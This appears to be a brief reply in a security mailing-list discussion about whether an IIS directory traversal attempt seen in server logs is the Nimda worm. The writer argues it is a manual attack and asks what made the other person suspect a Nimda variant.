    This is definitely not Nimda, although it attempts to exploit the same 
    directory traversal vulnerability in IIS as Nimda 
    (http://www.microsoft.com/technet/security/bulletin/ms00-078.asp).  In 
    fact, if these are the timestamps and there are no other logs, it appears 
    that this attack is being manually performed.
    
    What makes you think that this is a variant of Nimda?
